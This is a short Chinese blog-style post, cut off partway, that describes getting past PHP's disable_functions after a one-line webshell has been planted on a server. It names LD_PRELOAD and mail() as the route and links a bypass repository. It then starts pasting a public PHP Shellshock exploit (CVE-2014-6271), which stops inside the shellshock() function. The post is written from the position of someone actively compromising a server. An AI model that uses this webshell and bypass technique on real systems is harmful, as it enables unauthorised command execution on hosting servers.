利用ld_preload方式绕过disable_functions

参考链接：https://github.com/l3m0n/Bypass_Disable_functions_Shell

连了菜刀无法执行命令系列。

去看phpinfo(别问我怎么看，你都能上传一句话了，phpinfo不是问题

好家伙！禁用了这么多函数，这可咋整

行我去找方法了，

试过了pcntl_exec的方法，没有成功，来用ld_preload绕过（mail

啥也别说了，上马

<?php
# Exploit Title: PHP 5.x Shellshock Exploit (bypass disable_functions)
# Google Dork: none
# Date: 10/31/2014
# Exploit Author: Ryan King (Starfall)
# Vendor Homepage: http://php.net
# Software Link: http://php.net/get/php-5.6.2.tar.bz2/from/a/mirror
# Version: 5.* (tested on 5.6.2)
# Tested on: Debian 7 and CentOS 5 and 6
# CVE: CVE-2014-6271

function shellshock($cmd) {
	// Execute a command via CVE-2014-6271 @mail.c:283
	$tmp = tem